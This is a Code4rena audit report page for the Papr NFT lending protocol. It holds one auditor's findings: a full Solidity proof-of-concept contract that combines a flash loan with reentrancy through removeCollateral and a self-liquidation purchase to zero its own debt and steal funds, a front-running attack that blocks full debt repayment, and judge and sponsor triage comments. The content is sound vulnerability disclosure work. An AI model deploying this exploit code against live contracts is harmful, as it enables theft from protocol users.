Platform: Code4rena
Start Date: 16/12/2022
Pot Size: $60,500 USDC
Total HM: 12
Participants: 58
Period: 5 days
Judge: Trust
Total Solo HM: 4
Id: 196
League: ETH
Rank: 8/58
Findings: 3
Award: $2,569.94
🌟 Selected for report: 2
🚀 Solo Findings: 0
🌟 Selected for report: HE1M
Also found by: Bobface, hihen, rvierdiiev, unforgiven
1245.2646 USDC - $1,245.26
By applying reentrancy attack involving the functions removeCollateral
, startLiquidationAuction
, and purchaseLiquidationAuctionNFT
, an Attacker can steal large amount of fund.
BobContract
. Please note that all the following transactions are going to be done in one transaction.addCollateral
. So _vaultInfo[BobContract][collateral.addr].count = 10
.function addCollateral(IPaprController.Collateral[] calldata collateralArr) external override { for (uint256 i = 0; i < collateralArr.length;) { _addCollateralToVault(msg.sender, collateralArr[i]); collateralArr[i].addr.transferFrom(msg.sender, address(this), collateralArr[i].id); unchecked { ++i; } } }
PaprToken
that is almost equivalent to 250k USDC (for simplicity I am assuming target price and mark price are equal to 1 USDC. This assumption does not change the attack scenario at all. It is only to simplify the explanation). This amount is equal to 50% of the collateral amount. It can be done by calling the function increaseDebt
.function maxDebt(uint256 totalCollateraValue) external view override returns (uint256) { if (_lastUpdated == block.timestamp) { return _maxDebt(totalCollateraValue, _target); } return _maxDebt(totalCollateraValue, newTarget()); }
function _maxDebt(uint256 totalCollateraValue, uint256 cachedTarget) internal view returns (uint256) { uint256 maxLoanUnderlying = totalCollateraValue * maxLTV; return maxLoanUnderlying / cachedTarget; }
function increaseDebt( address mintTo, ERC721 asset, uint256 amount, ReservoirOracleUnderwriter.OracleInfo calldata oracleInfo ) external override { _increaseDebt({account: msg.sender, asset: asset, mintTo: mintTo, amount: amount, oracleInfo: oracleInfo}); }
removeCollateral
. (In the normal way of working with the protocol, this is not allowed, because by removing even 1 NFT, the debt 250k becomes larger than max allowed collateral 950k50%).
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L109_removeCollateral
, the safeTransferFrom
callbacks the BobContract.
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L444
https://github.com/transmissions11/solmate/blob/3a752b8c83427ed1ea1df23f092ea7a810205b6c/src/tokens/ERC721.sol#L120startLiquidationAuction
to put the NFT with id 10 on the auction. Please note that after removal of 9 NFTs, they are transferred to BobContract, and _vaultInfo[BobContract][collateral.addr].count = 1
. So, BobContract health factor is not solvent any more because total debt is the same as before 250k, but max debt is now 150k50% = 25k.
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L438
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L297startLiquidationAuction
, it checks whether the debt is larger than max debt or not. Since 9 NFTs were removed in the previous steps, info.count = 1
, so debt is larger than max debt.if (info.debt < _maxDebt(oraclePrice * info.count, cachedTarget)) { revert IPaprController.NotLiquidatable(); }
_vaultInfo[msg.sender][collateral.addr].count = 0
. Moreover, the starting price for this NFT will be 3*oraclePrice
(because the auctionStartPriceMultiplier = 3
), so it will be almost 3 * 50k = 150k.
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L326
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L341purchaseLiquidationAuctionNFT
to buy it's own NFT with id 10 which is priced at almost 150k.
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L264collateralValueCached
= 150k * 0 = 0isLastCollateral
= TRUEdebtCached
= 250k (same as before)maxDebtCached
= 250kneededToSaveVault
= 0price
= 150k Please note that the functions _purchaseNFTAndUpdateVaultIfNeeded
and _purchaseNFT
are called that takes 150k from BobContract and transfers that last NFT with id 10 to BobContract.
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L519
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/NFTEDA/NFTEDA.sol#L72excess
= 150k Since it is larger than zero, the function _handleExcess
is called.
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L532fee
= 15k Considering 10% fee on the excesscredit
= 135ktotalOwed
= 135k Since this is smaller than debtCaches
250k, the function _reduceDebt
is called to reduce debt from 250k to 115k.
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L549remaining
= 115kpurchaseLiquidationAuctionNFT
, there is a check that makes the debt of BobContract equal to zero. This is the place that BobContract takes profit. It means that the debt of 115k is ignored.if (isLastCollateral && remaining != 0) { /// there will be debt left with no NFTs, set it to 0 _reduceDebtWithoutBurn(auction.nftOwner, auction.auctionAssetContract, remaining); }
PaprController
. So, it compares the debt and max for each collateral removal. Since the debt is set to zero in the previous steps, this check for all 10 NFTs will be passed.if (debt > max) { revert IPaprController.ExceedsMaxDebt(debt, max); }
numberOfNFT * oraclePrice * 50% > oraclePrice * 3
In the following PoC, I am showing how the attack can be applied.
Bob deploys the following contract and calls the function attack()
. It takes flash loan from AAVE, then the callback from the AAVE will execute executeOperation
. In this function, 10 NFTs with ids 1 to 10 are bought and added as collateral to the protocol.
Then, it borrows max debt which is almost 250k, and remove the NFT with id 1.
In the callback of safeTransferFrom
, the function onERC721Received
is called, if the number of callback is less than 9, it repeats removal of the NFTs with ids 2 to 9, respectively.
When NFTs with id 9 is removed, the function startLiquidationAuction
is called to auction NFT with id 10. Then, this NFT is purchased by BobContract immediately at the start price (which is defined by protocol to be 3 times larger than the oracle price). Then, after the control is returned to the protocol, BobContract sells these 10 NFTs and repays the flash loan.
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; interface ERC721 {} interface ERC20 {} struct Collateral { ERC721 addr; uint256 id; } struct OracleInfo { Message message; Sig sig; } struct Message { bytes32 id; bytes payload; uint256 timestamp; bytes signature; } struct Sig { uint8 v; bytes32 r; bytes32 s; } struct Auction { address nftOwner; uint256 auctionAssetID; ERC721 auctionAssetContract; uint256 perPeriodDecayPercentWad; uint256 secondsInPeriod; uint256 startPrice; ERC20 paymentAsset; } enum PriceKind { SPOT, TWAP, LOWER, UPPER } interface IPaprController { function addCollateral(Collateral[] calldata collateral) external; function increaseDebt( address mintTo, ERC721 asset, uint256 amount, OracleInfo calldata oracleInfo ) external; function removeCollateral( address sendTo, Collateral[] calldata collateralArr, OracleInfo calldata oracleInfo ) external; function startLiquidationAuction( address account, Collateral calldata collateral, OracleInfo calldata oracleInfo ) external returns (Auction memory auction); function purchaseLiquidationAuctionNFT( Auction calldata auction, uint256 maxPrice, address sendTo, OracleInfo calldata oracleInfo ) external; function maxDebt(uint256 totalCollateraValue) external view returns (uint256); function underwritePriceForCollateral( ERC721 asset, PriceKind priceKind, OracleInfo memory oracleInfo ) external returns (uint256); } interface IFundingRateController { function updateTarget() external returns (uint256); } interface IAAVE { function flashLoanSimple( address receiverAddress, address asset, uint256 amount, bytes calldata params, uint16 referralCode ) external; } contract BobContract { IPaprController iPaprController; IFundingRateController iFundingRateController; IAAVE iAAVE; ERC721 nftCollectionAddress; ERC20 paprToken; Collateral[] collaterals; OracleInfo oracleInfo; uint256 numOfCallback; address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; constructor( address _paprControllerAddress, address _fundingRateControllerAddress, address _aaveAddress, ERC721 _nftCollectionAddress, OracleInfo memory _oracleInfo, ERC20 _paprToken ) { iPaprController = IPaprController(_paprControllerAddress); iFundingRateController = IFundingRateController( _fundingRateControllerAddress ); iAAVE = IAAVE(_aaveAddress); nftCollectionAddress = _nftCollectionAddress; oracleInfo = _oracleInfo; paprToken = _paprToken; } function attack() public { ///// STEP1: taking flash loan iAAVE.flashLoanSimple(address(this), USDC, 10 * 50000 * 10**6, "", 0); } function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool) { ///// STEP2: buying 10 NFTs // Buy 10 NFTs that each worths almost 50k // Assume the ids are from 1 to 10 ///// STEP3: adding the NFTs as collateral for (uint256 i = 0; i < 10; ++i) { collaterals.push(Collateral({addr: nftCollectionAddress, id: i})); } iPaprController.addCollateral(collaterals); ///// STEP4: borrowing as much as possible uint256 oraclePrice = iPaprController.underwritePriceForCollateral( nftCollectionAddress, PriceKind.LOWER, oracleInfo ); uint256 maxDebt = iPaprController.maxDebt(10 * oraclePrice); iPaprController.increaseDebt( address(this), nftCollectionAddress, maxDebt, oracleInfo ); ///// STEP5: removing the NFT with id 1 Collateral[] memory collateralArr = new Collateral[](1); collateralArr[0] = Collateral({addr: nftCollectionAddress, id: 1}); iPaprController.removeCollateral( address(this), collateralArr, oracleInfo ); ///// STEP16: selling 10 NFTs and repaying the flash loan // Selling the 10 NFTs // Repaying the flash loan } function onERC721Received( address from, address, uint256 _id, bytes calldata data ) external returns (bytes4) { numOfCallback++; if (numOfCallback < 9) { ///// STEP6 - STEP13: removing the NFTs with id 2 to 9 Collateral[] memory collateralArr = new Collateral[](1); collateralArr[0] = Collateral({ addr: nftCollectionAddress, id: _id + 1 }); iPaprController.removeCollateral( address(this), collateralArr, oracleInfo ); } else { ///// STEP14: starting the auction for NFT with id 10 Collateral memory lastCollateral = Collateral({ addr: nftCollectionAddress, id: _id + 1 }); iPaprController.startLiquidationAuction( address(this), lastCollateral, oracleInfo ); ///// STEP15: buying the NFT with id 10 on the auction uint256 oraclePrice = iPaprController.underwritePriceForCollateral( nftCollectionAddress, PriceKind.LOWER, oracleInfo ); uint256 startPrice = (oraclePrice * 3 * 1e18) / iFundingRateController.updateTarget(); Auction memory auction = Auction({ nftOwner: address(this), auctionAssetID: 10, auctionAssetContract: nftCollectionAddress, perPeriodDecayPercentWad: 0.7e18, secondsInPeriod: 1 days, startPrice: startPrice, paymentAsset: paprToken }); iPaprController.purchaseLiquidationAuctionNFT( auction, startPrice, address(this), oracleInfo ); } } }
#0 - c4-judge
2022-12-25T12:51:33Z
trust1995 marked the issue as duplicate of #63
#1 - c4-judge
2022-12-25T12:51:55Z
trust1995 marked the issue as not a duplicate
#2 - c4-judge
2022-12-25T12:52:02Z
trust1995 marked the issue as primary issue
#3 - c4-judge
2022-12-25T12:53:19Z
trust1995 marked the issue as satisfactory
#4 - c4-judge
2022-12-25T17:52:08Z
trust1995 marked the issue as duplicate of #190
#5 - c4-judge
2022-12-25T17:53:45Z
trust1995 marked the issue as not a duplicate
#6 - c4-judge
2022-12-25T17:53:50Z
trust1995 marked the issue as duplicate of #195
#7 - c4-judge
2022-12-25T17:54:24Z
trust1995 marked the issue as not a duplicate
#8 - c4-judge
2022-12-25T17:54:58Z
trust1995 marked the issue as duplicate of #195
#9 - c4-judge
2023-01-04T11:51:02Z
trust1995 marked the issue as selected for report
#10 - wilsoncusack
2023-01-04T14:21:10Z
There is actually a simpler attack here: add one NFT and borrow max debt. Start Liquidation auction and purchase. On purchase reenter via safeTransferFrom and add many more NFTs, borrowing max. Purchase thinks this is the borrowers last NFT and debt is set to 0. Now borrower can withdraw all other NFTs for free
#11 - wilsoncusack
2023-01-04T14:27:13Z
We could
#12 - wilsoncusack
2023-01-06T20:49:38Z
@trust1995 believe duplicate label should be removed
#13 - trust1995
2023-01-06T21:28:13Z
Pls see my comment on #159 , and if still you believe it should be undupped, let me know.
#14 - wilsoncusack
2023-01-07T11:50:27Z
@trust1995 i believe you meant 195. These are different: this issue uses reentrancy on removeCollateral. 195 uses reentrancy on purchaseNFT. This issue calls to purchaseNFT but does not reenter there.
#15 - trust1995
2023-01-07T16:55:59Z
#195 and the 3 dups including this submission have been bulked together as they stem from the same root issue of insufficient re-entrancy protection. We have a gov discussion of bulking here: https://github.com/code-423n4/org/issues/8. If you think there's some nuance that makes this issue different enough to warrant it's own find, I'll be happy to hear it.
#16 - wilsoncusack
2023-01-08T17:14:15Z
@trust1995 well for one #195 involves reentrancy on increaseDebt, which is not mentioned here. So this fix here would leave #195 unresolved.
#17 - trust1995
2023-01-08T17:22:26Z
I disagree, because their attack path relies on re-entering purchaseLiquidationAuctionNFT which would be mitigated by this report.
#18 - wilsoncusack
2023-01-08T19:05:21Z
@trust1995 hmm I don't think so? Their example is a bit longer than it needs to be, but essentially
There is no need to reenter purchaseLiquidationAuctionNFT
#19 - wilsoncusack
2023-01-08T19:13:05Z
Even in their example I don't see any purchaseLiquidationAuctionNFT
reentrancy.
#20 - trust1995
2023-01-08T19:32:35Z
You will need to take a close look at
+ function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) + { + require(msg.sender == address(nft)); + if (!reenter) { + return ERC721TokenReceiver.onERC721Received.selector; + } + reenter = false; + + // purchage auction2 // ****************** RE-ENTRANCY HERE ************* + controller.purchaseLiquidationAuctionNFT(auction2, auction2.startPrice, address(this), twapOracle); + + // debt should be burnt now + // add collaterals 100-120 and loan max + uint256[] memory tokenIds = new uint256[](20); + for (uint i = 0; i < 20; i++) { + tokenIds[i] = i+100; + } + _addAndLoanMax(tokenIds, lowerOracle); + return ERC721TokenReceiver.onERC721Received.selector; + }
#21 - wilsoncusack
2023-01-08T19:36:46Z
@trust1995 ah sorry I missed that. That second reentry is not necessary for their attack to work, but given that is how they constructed it, you are right that blocking reentry on purchaseLiquidationAuctionNFT
would resolve it and will leave up to you if you want to combine.
#22 - C4-Staff
2023-01-10T22:35:10Z
JeeberC4 marked the issue as not a duplicate
#23 - C4-Staff
2023-01-10T22:35:21Z
JeeberC4 marked the issue as primary issue
#24 - liveactionllama
2023-01-31T02:26:27Z
Per discussion with @wilsoncusack this is sponsor confirmed
, so adding the related label here.
🌟 Selected for report: HE1M
Also found by: HollaDieWaldfee
1281.1364 USDC - $1,281.14
An attacker can apply grieving attack by preventing users from interacting with some of the protocol functions. In other words whenever a user is going to reduce his debt, or buy and reduce his debt in one tx, it can be failed by the attacker.
In the following scenario, I am explaining how it is possible to fail user's transaction to reduce their debt fully. Failing other transaction (buy and reduce the debt in one tx) can be done similarly.
PaprToken
and she intends to repay her debt fully:reduceDebt
with the following parameters:
account
: Alice's addressasset
: The NFT which was used as collateralamount
: 1000 * 10**18 (decimal of PaprToken
is 18).function reduceDebt(address account, ERC721 asset, uint256 amount) external override { _reduceDebt({account: account, asset: asset, burnFrom: msg.sender, amount: amount}); }
PaprToken
) notices Alice's transaction in the Mempool. So, Bob applies front-run attack and calls the function reduceDebt
with the following parameters:
account
: Alice's addressasset
: The NFT which was used as collateralamount
: 1PaprToken
on behalf of Alice, so Alice's debt becomes 1000 * 10**18 - 1
.function _reduceDebt(address account, ERC721 asset, address burnFrom, uint256 amount) internal { _reduceDebtWithoutBurn(account, asset, amount); PaprToken(address(papr)).burn(burnFrom, amount); }
function _reduceDebtWithoutBurn(address account, ERC721 asset, uint256 amount) internal { _vaultInfo[account][asset].debt = uint200(_vaultInfo[account][asset].debt - amount); emit ReduceDebt(account, asset, amount); }
Underflow Error
. Since Alice's debt is 1000 * 10**18 - 1
while Alice's transaction was going to repay 1000 * 10**18
._vaultInfo[account][asset].debt = uint200(_vaultInfo[account][asset].debt - amount);
PaprToken
(consider that the decimal is 18) to apply this grieving attack.In summary, Bob could prevent the user from paying her debt fully by just repaying a very small amount of the user's debt in advance and as a result causing underflow error. Bob can apply this attack for all other users who are going to repay their debt fully. Please note that if a user is going to repay her debt partially, the attack can be expensive and not financially reasonable, but in case of full repayment of debt, it is very cheap to apply this grieving attack.
This attack can be applied on the transactions that are going to interact with the function _reduceDebt
. The transactions interacting with this specific function are:
buyAndReduceDebt(...)
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L229reduceDebt(...)
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L149It means that the attacker can prevent users from calling the functions above.
The following condition should be added to the function _reduceDebtWithoutBurn
:
function _reduceDebtWithoutBurn(address account, ERC721 asset, uint256 amount) internal { if(amount > _vaultInfo[account][asset].debt){ amount = _vaultInfo[account][asset].debt; } _vaultInfo[account][asset].debt = uint200(_vaultInfo[account][asset].debt - amount); emit ReduceDebt(account, asset, amount); }
#0 - trust1995
2022-12-25T12:32:07Z
Right on the edge between M and L+, leaning towards M.
#1 - c4-judge
2022-12-25T12:32:12Z
trust1995 marked the issue as satisfactory
#2 - c4-judge
2022-12-25T15:54:39Z
trust1995 marked the issue as primary issue
#3 - c4-sponsor
2023-01-03T18:47:04Z
wilsoncusack marked the issue as sponsor confirmed
#4 - c4-judge
2023-01-04T09:30:49Z
trust1995 marked the issue as selected for report
🌟 Selected for report: yixxas
Also found by: 0x52, 0xAgro, 0xSmartContract, 0xhacksmithh, Aymen0909, Bnke0x0, Bobface, Breeje, Diana, Franfran, HE1M, HollaDieWaldfee, IllIllI, Jeiwan, RaymondFam, Rolezn, SaharDevep, Secureverse, SmartSek, ak1, bin2chen, brgltd, chrisdior4, gz627, imare, ladboy233, lukris02, oyc_109, rvierdiiev, shark, tnevler, unforgiven, wait
43.5439 USDC - $43.54
In the function _removeCollateral
, it is allowed for onReceive
hook, so it is possible that during the hook the number of user's collateral change (for example by removing collateral).
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L424
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L444
But after this hook, the variable newCount
is read which is not holding the last state, it has only the old state value of user's collateral count.
https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L447
So, it is better to get the latest user's collateral count again to have the correct value:
uint256 max = _maxDebt(oraclePrice * _vaultInfo[msg.sender][collateral.addr].count, cachedTarget);
#0 - c4-judge
2022-12-25T15:11:13Z
trust1995 marked the issue as grade-c
#1 - c4-judge
2023-01-08T10:19:18Z
trust1995 marked the issue as grade-b
#2 - trust1995
2023-01-08T10:19:24Z
Up to B due to downgraded HM reports.